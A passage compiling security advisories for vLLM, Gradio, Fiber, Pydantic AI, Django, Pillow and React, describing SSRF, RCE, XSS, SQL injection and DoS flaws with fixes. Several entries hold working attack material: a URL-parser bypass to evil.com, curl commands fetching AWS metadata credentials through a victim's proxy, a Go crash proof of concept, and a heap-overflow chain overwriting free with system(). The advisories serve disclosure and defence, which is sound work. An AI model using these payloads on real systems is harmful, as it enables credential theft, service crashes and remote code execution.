vLLM has SSRF Protection Bypass
Summary
The SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the load_from_url_async method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.
Affected Component
File: vllm/connections.py
Function: load_from_url_async
Vulnerability Details
Root Cause
The SSRF fix uses urllib3.util.parse_url() to validate and extract the hostname from user-provided URLs. However, load_from_url_async uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing.
These two URL parsers handle backslash characters (\) differently:
| Parser | Input URL | Parsed Host | Parsed Path | Behavior |
|--------|-----------|-------------|-------------|----------|
| urllib3.parse_url() | https://httpbin.org\@evil.com/ | httpbin.org | /%5C@evil.com/ | URL-encodes \ as %5C, treats \@evil.com/ as part of the path |
| yarl (via aiohttp) | https://httpbin.org\@evil.com/ | evil.com | / | Treats \ as part of userinfo (user: httpbin.org\), the @ acts as the userinfo/host separator |
Attack Scenario
``python
Attacker provides this URL
malicious_url = "https://httpbin.org\\@evil.com/"
1. Validation layer (urllib3.parse_url)
parsed = urllib3.util.parse_url(malicious_url)
parsed.host == "httpbin.org" ✅ Passes validation
2. Actual request (aiohttp with yarl)
async with aiohttp.ClientSession() as session:
async with session.get(malicious_url) as response:
# Request actually goes to evil.com! ❌ Bypass!
`
Why This Happens
1. yarl: Interprets httpbin.org\ as the userinfo component, and @ as the userinfo/host separator, so the URL is parsed as user=httpbin.org\, host=evil.com, path=/
2. urllib3: URL-encodes the backslash as %5C, so \@evil.com/ becomes /%5C@evil.com/ which is treated as part of the path, leaving host=httpbin.org`
This inconsistency allows an attacker to:
Bypass the hostname allowlist check
Access arbitrary internal/external services
Perform full SSRF attacks
Fixes
https://github.com/vllm-project/vllm/pull/34743
Django vulnerable to Uncontrolled Resource Consumption
An issue was discovered in 6.0 before 6.0.3, 5.2 before 5.2.12, and 4.2 before 4.2.29.
URLField.to_python() in Django calls urllib.parse.urlsplit(), which performs NFKC normalization on Windows that is disproportionately slow for certain Unicode characters, allowing a remote attacker to cause denial of service via large URL inputs containing these characters.
Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Seokchan Yoon for reporting this issue.
Gradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config Processing
Summary
A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses gr.load() to load an attacker-controlled Space, the malicious proxy_url from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure.
Details
The vulnerability exists in Gradio's config processing flow when loading external Spaces:
1. Config Fetching (gradio/external.py:630): gr.load() calls Blocks.from_config() which fetches and processes the remote Space's configuration.
2. Proxy URL Trust (gradio/blocks.py:1231-1233): The proxy_url from the untrusted config is added directly to self.proxy_urls:
``python
if config.get("proxy_url"):
self.proxy_urls.add(config["proxy_url"])
`
3. Built-in Proxy Route (gradio/routes.py:1029-1031): Every Gradio app automatically exposes a /proxy={url_path} endpoint:
`python
@router.get("/proxy={url_path:path}", dependencies=[Depends(login_check)])
async def reverse_proxy(url_path: str):
`
4. Host-based Validation (gradio/routes.py:365-368): The validation only checks if the URL's host matches any trusted proxy_url host:
`python
is_safe_url = any(
url.host == httpx.URL(root).host for root in self.blocks.proxy_urls
)
`
An attacker can set proxy_url to http://169.254.169.254/ (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints.
PoC
Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6
1. Attacker creates a malicious Gradio Space that returns this config:
`python
{
"mode": "blocks",
"components": [...],
"proxy_url": "http://169.254.169.254/" # AWS metadata endpoint
}
`
2. Victim loads the malicious Space:
`python
import gradio as gr
demo = gr.load("attacker/malicious-space")
demo.launch(server_name="0.0.0.0", server_port=7860)
`
3. Attacker exploits the proxy:
`bash
Fetch AWS credentials through victim's server
curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"
`
Impact
Who is impacted:
Any Gradio application that uses gr.load()` to load external/untrusted Spaces
HuggingFace Spaces that compose or embed other Spaces
Enterprise deployments where Gradio apps have access to internal networks
Attack scenarios:
Cloud credential theft: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials
Internal service access: Reach databases, admin panels, and APIs on private networks
Network reconnaissance: Map internal infrastructure through the victim
Data exfiltration: Access sensitive internal APIs and services
Gradio has an Open Redirect in its OAuth Flow
Summary
The _redirect_to_target() function in Gradio's OAuth flow accepts an unvalidated _target_url query parameter, allowing redirection to arbitrary external URLs. This affects the /logout and /login/callback endpoints on Gradio apps with OAuth enabled (i.e. apps running on Hugging Face Spaces with gr.LoginButton).
Details
``python
def _redirect_to_target(request, default_target="/"):
target = request.query_params.get("_target_url", default_target)
return RedirectResponse(target) # No validation
``
An attacker can craft a URL like https://my-space.hf.space/logout?_target_url=https://evil.com/phishing that redirects the user to an external site after logout. Because the URL originates from a trusted hf.space domain, users are more likely to trust the link.
Impact
Phishing — an attacker can use the trusted domain to redirect users to a malicious site. No direct data exposure or server-side impact.
## Fix
The _target_url parameter is now sanitized to only use the path, query, and fragment, stripping any scheme or host.
OWASP A01OWASP A02LLM02 · Insecure OutputLLM06 · Sensitive Info Disclosure
Get guardrail →Gradio is Vulnerable to Absolute Path Traversal on Windows with Python 3.13+
Summary
Gradio apps running on Window with Python 3.13+ are vulnerable to an absolute path traversal issue that enables unauthenticated attackers to read arbitrary files from the file system.
Details
Python 3.13+ changed the definition of os.path.isabs so that root-relative paths like /windows/win.ini on Windows are no longer considered absolute paths, resulting in a vulnerability in Gradio's logic for joining paths safely.
This can be exploited by unauthenticated attackers to read arbitrary files from the Gradio server, even when Gradio is set up with authentication.
PoC
``
% curl http://10.10.10.10:7860/static//windows/win.ini
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
``
Impact
Arbitrary file read in the context of the Windows user running Gradio.
Fiber has a Denial of Service Vulnerability via Route Parameter Overflow
A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.
Affected Versions
Fiber v3.0.0-rc.3 and earlier v3 releases
Fiber v2.52.10 and potentially all v2 releases (confirmed exploitable)
Both versions share the same vulnerable routing implementation
Vulnerability Details
Root Cause
Both Fiber v2 and v3 define a fixed-size parameter array in ctx.go:
``go
const maxParams = 30
type DefaultCtx struct {
values [maxParams]string // Fixed 30-element array
// ...
}
`
The router.go register() function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in path.go performs an unbounded write:
v3: path.go:514
v2: path.go:516
`go
// path.go:514 - NO BOUNDS CHECKING
params[paramsIterator] = path[:i]
`
When paramsIterator >= 30, this triggers:
`
panic: runtime error: index out of range [30] with length 30
`
Attack Scenario
1. Application registers route with >30 parameters (e.g., via code or dynamic routing):
`go
app.Get("/api/:p1/:p2/:p3/.../p35", handler)
`
2. Attacker sends matching HTTP request:
`bash
curl http://target/api/v1/v2/v3/.../v35
`
3. Server crashes during request processing with runtime panic
Proof of Concept
For Fiber v3
`go
package main
import (
"fmt"
"net/http"
"time"
"github.com/gofiber/fiber/v3"
)
func main() {
app := fiber.New()
// Register route with 35 parameters (exceeds maxParams=30)
path := "/test"
for i := 1; i <= 35; i++ {
path += fmt.Sprintf("/:p%d", i)
}
fmt.Printf("Registering route: %s...\n", path[:50]+"...")
app.Get(path, func(c fiber.Ctx) error {
return c.SendString("Never reached")
})
fmt.Println("✓ Registration succeeded (NO PANIC)")
go func() {
app.Listen(":9999")
}()
time.Sleep(200 time.Millisecond)
// Build exploit URL with 35 parameter values
url := "http://localhost:9999/test"
for i := 1; i <= 35; i++ {
url += fmt.Sprintf("/v%d", i)
}
fmt.Println("\n🔴 Sending exploit request...")
fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n")
resp, err := http.Get(url)
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
fmt.Println("💥 Server crashed!")
} else {
fmt.Printf("Response: %d\n", resp.StatusCode)
resp.Body.Close()
}
}
`
Output:
`
Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)
🔴 Sending exploit request...
Expected: panic at path.go:514 params[paramsIterator] = path[:i]
panic: runtime error: index out of range [30] with length 30
goroutine 40 [running]:
github.com/gofiber/fiber/v3.(routeParser).getMatch(...)
/path/to/fiber/path.go:514
github.com/gofiber/fiber/v3.(Route).match(...)
/path/to/fiber/router.go:89
github.com/gofiber/fiber/v3.(App).next(...)
/path/to/fiber/router.go:142
`
For Fiber v2
`go
package main
import (
"fmt"
"net/http"
"time"
"github.com/gofiber/fiber/v2"
)
func main() {
app := fiber.New()
// Register route with 35 parameters (exceeds maxParams=30)
path := "/test"
for i := 1; i <= 35; i++ {
path += fmt.Sprintf("/:p%d", i)
}
fmt.Printf("Registering route: %s...\n", path[:50]+"...")
app.Get(path, func(c fiber.Ctx) error {
return c.SendString("Never reached")
})
fmt.Println("✓ Registration succeeded (NO PANIC)")
go func() {
app.Listen(":9998")
}()
time.Sleep(200 time.Millisecond)
// Build exploit URL with 35 parameter values
url := "http://localhost:9998/test"
for i := 1; i <= 35; i++ {
url += fmt.Sprintf("/v%d", i)
}
fmt.Println("\n🔴 Sending exploit request...")
fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n")
resp, err := http.Get(url)
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
fmt.Println("💥 Server crashed!")
} else {
fmt.Printf("Response: %d\n", resp.StatusCode)
resp.Body.Close()
}
}
`
Output (v2):
`
Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)
🔴 Sending exploit request...
Expected: panic at path.go:516 params[paramsIterator] = path[:i]
panic: runtime error: index out of range [30] with length 30
goroutine 40 [running]:
github.com/gofiber/fiber/v2.(routeParser).getMatch(...)
/path/to/fiber/v2@v2.52.10/path.go:512
github.com/gofiber/fiber/v2.(Route).match(...)
/path/to/fiber/v2@v2.52.10/router.go:84
github.com/gofiber/fiber/v2.(App).next(...)
/path/to/fiber/v2@v2.52.10/router.go:127
`
Impact
Exploitation Requirements
No authentication required
Single HTTP request triggers crash
Trivially scriptable for sustained DoS
Works against any route with >30 parameters
Real-World Impact
Public APIs: Remote DoS attacks on vulnerable endpoints
Microservices: Cascade failures if vulnerable service is critical
Auto-scaling: Repeated crashes prevent proper recovery
Monitoring: Log flooding and alert fatigue
Likelihood
HIGH - Exploitation requires only:
Knowledge of route structure (often public in APIs)
Standard HTTP client (curl, browser, etc.)
Single malformed request
Workarounds
Until patched, users should:
1. Audit Routes: Ensure all routes have ≤30 parameters
`bash
# Search for potential issues
grep -r "/:./:./:." . | grep -v node_modules
`
2. Disable Dynamic Routing: If programmatically registering routes, validate parameter count:
`go
paramCount := strings.Count(route, ":")
if paramCount > 30 {
log.Fatal("Route exceeds maxParams")
}
``
3. Rate Limiting: Deploy aggressive rate limiting to mitigate DoS impact
4. Monitoring: Alert on panic patterns in application logs
Timeline
2024-12-24: Vulnerability discovered in v3 during PR #3962 review
2024-12-25: Proof of concept confirmed exploitability in v3
2024-12-25: Vulnerability confirmed to also exist in v2 (same root cause)
2024-12-25: Security advisory created
References
v3 Related PR: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause)
Vulnerable Code Locations:
v3: path.go:514
v2: path.go:516
Credit
Discovered by: @sixcolors (Fiber maintainer) and @TheAspectDev
Pillow affected by out-of-bounds write when loading PSD images
Impact
An out-of-bounds write may be triggered when loading a specially crafted PSD image. Pillow >= 10.3.0 users are affected.
Patches
Pillow 12.1.1 will be released shortly with a fix for this.
Workarounds
Image.open() has a formats parameter that can be used to prevent PSD images from being opened.
References
Pillow 12.1.1 will add release notes at https://pillow.readthedocs.io/en/stable/releasenotes/index.html
Fiber has an insecure fallback in utils.UUIDv4() / utils.UUID() — predictable / zero‑UUID on crypto/rand failure
Fiber v2 contains an internal vendored copy of gofiber/utils, and its functions UUIDv4() and UUID() inherit the same critical weakness described in the upstream advisory. On Go versions prior to 1.24, the underlying crypto/rand implementation can return an error if secure randomness cannot be obtained. In such cases, these Fiber v2 UUID functions silently fall back to generating predictable values — the all-zero UUID 00000000-0000-0000-0000-000000000000.
On Go 1.24+, the language guarantees that crypto/rand no longer returns an error (it will block or panic instead), so this vulnerability primarily affects Fiber v2 users running Go 1.23 or earlier, which Fiber v2 officially supports.
Because no error is returned by the Fiber v2 UUID functions, application code may unknowingly rely on predictable, repeated, or low-entropy identifiers in security-critical pathways. This is especially impactful because many Fiber v2 middleware components (session middleware, CSRF, rate limiting, request-ID generation, etc.) default to using utils.UUIDv4().
Impact includes, but is not limited to:
Session fixation or hijacking (predictable session IDs)
CSRF token forgery or bypass
Authentication replay / token prediction
Potential denial-of-service (DoS): if the zero UUID is generated, key-based structures (sessions, rate-limits, caches, CSRF stores) may collapse into a single shared key, causing overwrites, lock contention, or state corruption
Request-ID collisions, undermining logging and trace integrity
General compromise of confidentiality, integrity, and authorization logic relying on UUIDs for uniqueness or secrecy
All Fiber v2 versions containing the internal utils.UUIDv4() / utils.UUID() implementation are affected when running on Go <1.24. No patched Fiber v2 release currently exists.
---
Suggested Mitigations / Workarounds
Update to the latest version of Fiber v2.
---
Likelihood / Environmental Factors
It’s important to note that entropy exhaustion on modern Linux systems is extremely rare, as the kernel’s CSPRNG is resilient and non-blocking. However, entropy-source failures — where crypto/rand cannot read from its underlying provider — are significantly more likely in certain environments.
This includes containerized deployments, restricted sandboxes, misconfigured systems lacking read access to /dev/urandom or platform-equivalent sources, chrooted or jailed environments, embedded devices, or systems with non-standard or degraded randomness providers. On Go <1.24, such failures cause crypto/rand to return an error, which the Fiber v2 UUID functions currently treat as a signal to silently generate predictable UUIDs, including the zero UUID. This silent fallback is the root cause of the vulnerability.
---
References
Upstream advisory for gofiber/utils: GHSA-m98w-cqp3-qcqr
Source repositories:
github.com/gofiber/fiber
github.com/gofiber/utils
---
Credits / Reporter
Reported by @sixcolors (Fiber Maintainer / Security Team)
Pydantic AI has Stored XSS via Path Traversal in Web UI CDN URL
Summary
A Path Traversal vulnerability in the Pydantic AI web UI allows an attacker to serve arbitrary JavaScript in the context of the application by crafting a malicious URL. If a victim clicks the link or visits it via an iframe, attacker-controlled code executes in their browser, enabling theft of chat history and other client-side data.
This vulnerability only affects applications that use:
Agent.to_web to serve a chat interface
clai web to serve a chat interface from the CLI
These are typically run locally (on localhost), but may also be deployed on a remote server.
Description
The web UI serves its frontend HTML by fetching it from a CDN. In affected versions, the CDN URL is constructed using a version query parameter from the request URL. This parameter is not validated, allowing path traversal sequences that cause the server to fetch and serve attacker-controlled HTML/JavaScript from an arbitrary source on the same CDN, instead of the legitimate chat UI package.
Who Is Affected
Projects are affected if your application uses Agent.to_web or clai web to serve the Pydantic AI chat interface.
Attack Scenario
1. An attacker crafts a URL pointing to the victim's Pydantic AI web UI instance (either localhost with the known port, or a remote server endpoint) with a malicious version query parameter containing path traversal sequences.
2. The attacker gets the victim to visit this URL — directly via a link, through a redirect, or by embedding it in an iframe.
3. When the victim's browser loads the page, the server fetches and serves attacker-controlled HTML/JavaScript instead of the legitimate chat UI.
4. The attacker's JavaScript executes in the victim's browser in the context of the Pydantic AI web application, with access to:
Chat history stored in localStorage (all user messages and AI responses)
Session cookies that are not set as HttpOnly, if authentication middleware is configured
Remediation
Upgrade to Patched Version
Upgrade to the patched version or later. The fix removes the user-controllable version parameter entirely. The CDN URL is now hardcoded at startup and cannot be influenced by request parameters.
A new html_source parameter is available on Agent.to_web and create_web_app for applications that need to customize the UI source (e.g., for enterprise environments, offline usage, or custom UI builds). This parameter is only settable in application code, not via query parameters.
Pydantic AI has Server-Side Request Forgery (SSRF) in URL Download Handling
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in Pydantic AI's URL download functionality. When applications accept message history from untrusted sources, attackers can include malicious URLs that cause the server to make HTTP requests to internal network resources, potentially accessing internal services or cloud credentials.
This vulnerability only affects applications that accept message history from external users, such as those using:
Agent.to_web or clai web to serve a chat interface
VercelAIAdapter for Vercel AI SDK integration
AGUIAdapter or Agent.to_ag_ui for AG-UI protocol integration
Custom APIs that accept message history from user input
Applications that only use hardcoded or developer-controlled URLs are not affected.
Description
The download_item() helper function downloads content from URLs without validating that the target is a public internet address. When user-supplied message history contains URLs, attackers can:
1. Access internal services: Request http://127.0.0.1, localhost, or private IP ranges (10.x.x.x, 172.16.x.x, 192.168.x.x)
2. Steal cloud credentials: Access cloud metadata endpoints (AWS IMDSv1 at 169.254.169.254, GCP, Azure, Alibaba Cloud)
3. Scan internal networks: Enumerate internal hosts and ports
Who Is Affected
You are affected if your application:
1. Uses Agent.to_web or clai web - The web interface accepts file attachments via the Vercel AI Data Stream Protocol, where users can provide arbitrary URLs through chat messages.
2. Uses VercelAIAdapter - Chat interfaces built with Vercel AI SDK allow users to submit messages containing URLs that are processed server-side.
3. Uses AGUIAdapter or Agent.to_ag_ui - The AG-UI protocol allows users to provide file references with URLs as part of agent interactions.
4. Exposes a custom API accepting message history - Any endpoint that accepts message history or ImageUrl, AudioUrl, VideoUrl, DocumentUrl objects from user input.
Attack Scenario
Via chat interface, an attacker submits a message with a file attachment pointing to an internal resource:
``json
{
"role": "user",
"parts": [
{"type": "file", "mediaType": "image/png", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
]
}
`
Affected Model Integrations
Multiple model integrations download URL content in certain conditions:
| Provider | Downloaded Types |
|----------|------------------|
| OpenAIChatModel | AudioUrl, DocumentUrl |
| AnthropicModel | DocumentUrl (text/plain) |
| GoogleModel (GLA) | All URL types (except YouTube and Files API URLs) |
| XaiModel | DocumentUrl |
| BedrockConverseModel | ImageUrl, DocumentUrl, VideoUrl (non-S3 URLs) |
| OpenRouterModel | AudioUrl |
Remediation
Upgrade to Patched Version
Upgrade to the patched version or later. The fix adds comprehensive SSRF protection:
Blocks private/internal IP addresses by default
Always blocks cloud metadata endpoints (even with allow-local)
Only allows http:// and https:// protocols
Resolves hostnames before requests to prevent DNS rebinding
Validates each redirect target
New force_download='allow-local' Option
If an application legitimately needs to access local/private network resources (e.g., in a fully trusted internal environment), it can explicitly opt in:
`python
from pydantic_ai import ImageUrl
Default behavior: private IPs are blocked
ImageUrl(url="http://internal-service/image.png") # Raises ValueError
Opt-in to allow local access (use with caution)
ImageUrl(url="http://internal-service/image.png", force_download='allow-local')
`
Important: Cloud metadata endpoints (169.254.169.254, fd00:ec2::254, 100.100.100.200) are always blocked, even with allow-local.
Workaround for Older Versions
If a project cannot upgrade immediately, use a history processor to filter out URLs targeting local/private addresses:
`python
import ipaddress
import socket
from urllib.parse import urlparse
from pydantic_ai import Agent, ModelMessage, ModelRequest
from pydantic_ai.messages import AudioUrl, DocumentUrl, ImageUrl, VideoUrl
def is_private_url(url: str) -> bool:
"""Check if a URL targets a private/internal IP address."""
try:
parsed = urlparse(url)
hostname = parsed.hostname
if not hostname:
return True # Invalid URL, block it
# Resolve hostname to IP
ip_str = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(ip_str)
# Block private, loopback, and link-local addresses
return ip.is_private or ip.is_loopback or ip.is_link_local
except (socket.gaierror, ValueError):
return True # DNS resolution failed, block it
def filter_private_urls(messages: list[ModelMessage]) -> list[ModelMessage]:
"""Remove URL parts that target private/internal addresses."""
url_types = (ImageUrl, AudioUrl, VideoUrl, DocumentUrl)
filtered = []
for msg in messages:
if isinstance(msg, ModelRequest):
safe_parts = [
part for part in msg.parts
if not (isinstance(part, url_types) and is_private_url(part.url))
]
if safe_parts:
filtered.append(ModelRequest(parts=safe_parts))
else:
filtered.append(msg)
return filtered
Apply the filter to your agent
agent = Agent('openai:gpt-5', history_processors=[filter_private_urls])
`
Technical Details of the Fix
The fix introduces a new _ssrf.py module with comprehensive protection:
1. Protocol validation: Only http:// and https:// allowed
2. DNS resolution before request: Prevents DNS rebinding attacks
3. Private IP blocking (by default):
127.0.0.0/8, ::1/128 (loopback)
10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (private)
169.254.0.0/16, fe80::/10 (link-local)
100.64.0.0/10 (CGNAT)
fc00::/7 (unique local)
2002::/16 (6to4, can embed private IPv4)
4. Cloud metadata always blocked: 169.254.169.254, fd00:ec2::254, 100.100.100.200`
5. Safe redirect handling: Each redirect validated before following (max 10)
Django has an SQL Injection issue
An issue was discovered in 6.0 before 6.0.2, 5.2 before 5.2.11, and 4.2 before 4.2.28.
.QuerySet.order_by() is subject to SQL injection in column aliases containing periods when the same alias is, using a suitably crafted dictionary, with dictionary expansion, used in FilteredRelation. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Solomon Kebede for reporting this issue.
Django has an SQL Injection issue
An issue was discovered in 6.0 before 6.0.2, 5.2 before 5.2.11, and 4.2 before 4.2.28.
FilteredRelation is subject to SQL injection in column aliases via control characters, using a suitably crafted dictionary, with dictionary expansion, as the **kwargs passed to QuerySet methods annotate(), aggregate(), extra(), values(), values_list(), and alias(). Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Solomon Kebede for reporting this issue.
Django has an SQL Injection issue
An issue was discovered in 6.0 before 6.0.2, 5.2 before 5.2.11, and 4.2 before 4.2.28.
Raster lookups on `RasterField` (only implemented on PostGIS) allows remote attackers to inject SQL via the band index parameter. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Tarek Nakkouch for reporting this issue.
vLLM has RCE In Video Processing
Summary
A chain of vulnerabilities in vLLM allow Remote Code Execution (RCE):
1. Info Leak - PIL error messages expose memory addresses, bypassing ASLR
2. Heap Overflow - JPEG2000 decoder in OpenCV/FFmpeg has a heap overflow that lets us hijack code execution
Result: Send a malicious video URL to vLLM Completions or Invocations for a video model -> Execute arbitrary commands on the server
Completely default vLLM instance directly from pip, or docker, does not have authentication so "None" privileges are required, but even with non-default api-key enabled configuration this exploit is feasible through invocations route that allows payload to execute pre-auth.
Example heap target is provided, other heap targets can be exploited as well to achieve rce. Leak allows for simple ASLR bypass. Leak + heap overflow achieves RCE on versions prior to 0.14.1.
Deployments not serving a video model are not affected.
---
1. Vulnerability Overview
1.1 The Bug: JPEG2000 cdef Box Heap Overflow
The JPEG2000 decoder used by OpenCV (cv2) honors a cdef box that can remap color channels. When Y (luma) is mapped into the U (chroma) plane buffer, the decoder writes a large Y plane into the smaller U buffer, causing a heap overflow.
Root Cause
cdef allows channel remapping (e.g., Y→U, U→Y).
Y plane size: W×H; U plane size: (W/2)×(H/2).
Overflow size = W×H - (W/2×H/2) = 0.75 × W × H bytes.
Example (150×64)
Y plane: 150×64 = 9,600 bytes
U plane: 75×32 = 2,400 bytes
Overflow: 7,200 bytes past the U buffer
1.2 Malicious cdef Box
``
Offset Size Field Value
0 4 Box Length 0x00000016 (22 bytes)
4 4 Box Type 'cdef'
8 2 N (channels) 0x0003
10 2 Channel 0 Cn 0x0000 (Y channel)
12 2 Channel 0 Typ 0x0000 (color)
14 2 Channel 0 Asoc 0x0002 (→ maps Y into U plane)
16 2 Channel 1 Cn 0x0001 (U channel)
18 2 Channel 1 Typ 0x0000 (color)
20 2 Channel 1 Asoc 0x0001 (→ maps U into Y plane)
22 2 Channel 2 Cn 0x0002 (V channel)
24 2 Channel 2 Typ 0x0000 (color)
26 2 Channel 2 Asoc 0x0003 (→ maps V plane)
`
Key control: Asoc=2 for channel 0 forces Y data into the U buffer, triggering the overflow.
---
Vulnerable Code Chain
1) Entry: vLLM accepts a remote video_url and downloads raw bytes
vLLM’s OpenAI-compatible API supports a video_url content part:
`python
class VideoURL(TypedDict, total=False):
url: Required[str]
class ChatCompletionContentPartVideoParam(TypedDict, total=False):
video_url: Required[VideoURL]
type: Required[Literal["video_url"]]
`
Source: src/vllm/entrypoints/chat_utils.py.
When the URL is HTTP(S), vLLM downloads it as raw bytes and passes the bytes into the modality loader:
`python
if url_spec.scheme.startswith("http"):
data = connection.get_bytes(url, timeout=fetch_timeout, allow_redirects=...)
return media_io.load_bytes(data)
`
Source: src/vllm/multimodal/utils.py (MediaConnector.load_from_url).
---
2) Decode: vLLM uses OpenCV (cv2) VideoCapture on an in-memory byte stream
The default video backend is OpenCV, and it constructs cv2.VideoCapture over a BytesIO buffer containing the downloaded bytes:
`python
backend = cls().get_cv2_video_api()
cap = cv2.VideoCapture(BytesIO(data), backend, [])
if not cap.isOpened():
raise ValueError("Could not open video stream")
`
Source: src/vllm/multimodal/video.py (OpenCVVideoBackend.load_bytes).
The backend is selected from OpenCV’s stream-buffered backends registry:
`python
import cv2.videoio_registry as vr
for backend in vr.getStreamBufferedBackends():
if vr.hasBackend(backend) and ...:
api_pref = backend
break
return api_pref
`
Source: src/vllm/multimodal/video.py (OpenCVVideoBackend.get_cv2_video_api).
Implication: vLLM is delegating container parsing + codec decode to OpenCV’s Video I/O stack (which, in typical builds, is backed by FFmpeg for MOV/MP4 and codecs like JPEG2000).
---
3) The actual overflow: Y (full-res) written into U (quarter-res)
When the decoder honors the remap and writes Y into the U-plane buffer, it writes too many bytes:
Y plane bytes: \(W \times H\)
U plane bytes: \((W/2) \times (H/2)\)
Overflow bytes: \(W \times H - (W/2 \times H/2) = 0.75 \times W \times H\)
Concrete example tried (150×64):
Y: \(150 \times 64 = 9600\) bytes
U: \(75 \times 32 = 2400\) bytes
Overflow: \(9600 - 2400 = 7200\) bytes past the end of the U allocation
This is a heap buffer overflow into whatever allocations follow the U-plane buffer in the decoder’s heap layout (structures, metadata, other buffers, etc.). The exact victims depend on build + runtime allocator layout.
---
The Exploit Chain
Vuln 1: PIL BytesIO Address Leak (ASLR Bypass)
When you send an invalid image to vLLM's multimodal endpoint, PIL throws an error like:
`
cannot identify image file <_io.BytesIO object at 0x7a95e299e750>
^^^^^^^^^^^^^^^^
LEAKED ADDRESS!
`
vLLM returns this error to the client, leaking a heap address. This address is ~10.33 GB before libc in memory. With this leak, we reduce ASLR from 4 billion guesses to ~8 guesses.
Vuln 2: JPEG2000 cdef Heap Overflow (RCE)
vLLM uses OpenCV (cv2) to decode videos. OpenCV bundles FFmpeg 5.1.x which has a heap overflow in the JPEG2000 decoder. The OpenCV is used for video decoding so if we build a video from JPEG2000 frames it will reach the vuln:
`
vLLM API Request to Completions/Invocation
↓
OpenCV cv2.VideoCapture()
↓
FFmpeg 5.1 (bundled in OpenCV)
↓
JPEG2000 decoder (libopenjp2)
↓
HEAP OVERFLOW via malicious "cdef" box
↓
Overwrite function pointer → RCE!
`
How the overflow works:
JPEG2000 has a cdef box that remaps color channels
We remap Y (luma) into the U (chroma) buffer
Y plane = 9,600 bytes, U plane = 2,400 bytes
On small geometry like 150x64 pixel image we get 7,200 bytes overflow past the U buffer. We can grow that exponentially by making bigger images.
This overwrites an AVBuffer structure containing a free() function pointer. This could be any function pointer or other targets.
We set free = system() and opaque = "command string"
When the buffer is freed → system("our command") executes
---
vLLM Attack Surface
Affected Endpoints
Both multimodal endpoints are vulnerable:
`
POST /v1/chat/completions (with video_url in content)
POST /v1/invocations (with video_url in content)
`
Request Flow
`
1. Attacker sends request with video_url pointing to malicious .mov file
2. vLLM fetches the video from the URL
3. vLLM passes video bytes to cv2.VideoCapture()
4. OpenCV's bundled FFmpeg decodes JPEG2000 frames
5. Malicious cdef box triggers heap overflow
6. AVBuffer.free pointer overwritten with system()
7. When buffer is released → system("attacker command") executes
``
---
Versions Affected
| Component | Version | Notes |
|-----------|---------|-------|
| vLLM | >= 0.8.3, < 0.14.1 | Default config vulnerable when serving a video model |
| OpenCV (cv2) | 4.x with FFmpeg bundle | Bundled FFmpeg is vulnerable |
| FFmpeg | 5.1.x (bundled) | JPEG2000 cdef overflow |
| libopenjp2 | 2.x | Honors malicious cdef box |
---
Fixes
https://github.com/vllm-project/vllm/pull/31987
https://github.com/vllm-project/vllm/pull/32319
https://github.com/vllm-project/vllm/pull/32668
llama-index-core vulnerable to Uncontrolled Resource Consumption
The SimpleDirectoryReader component in llama_index.core version 0.12.23 suffers from uncontrolled memory consumption due to a resource management flaw. The vulnerability arises because the user-specified file limit (num_files_limit) is applied after all files in a directory are loaded into memory. This can lead to memory exhaustion and degraded performance, particularly in environments with limited resources. The issue is resolved in version 0.12.41.
React Server Components have multiple Denial of Service Vulnerabilities
Impact
It was found that the fixes to address DoS in React Server Components were incomplete and we found multiple denial of service vulnerabilities still exist in React Server Components.
We recommend updating immediately.
The vulnerability exists in versions 19.0.0, 19.0.1, 19.0.2, 19.0.3, 19.1.0, 19.1.1, 19.1.2, 19.1.3, 19.1.4, 19.2.0, 19.2.1, 19.2.2, 19.2.3 of:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
The vulnerabilities are triggered by sending specially crafted HTTP requests to Server Function endpoints, and could lead to server crashes, out-of-memory exceptions or excessive CPU usage; depending on the vulnerable code path being exercised, the application configuration and application code.
Patches
Fixes were back ported to versions 19.0.4, 19.1.5, and 19.2.4.
If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
vLLM vulnerable to Server-Side Request Forgery (SSRF) through MediaConnector
Summary
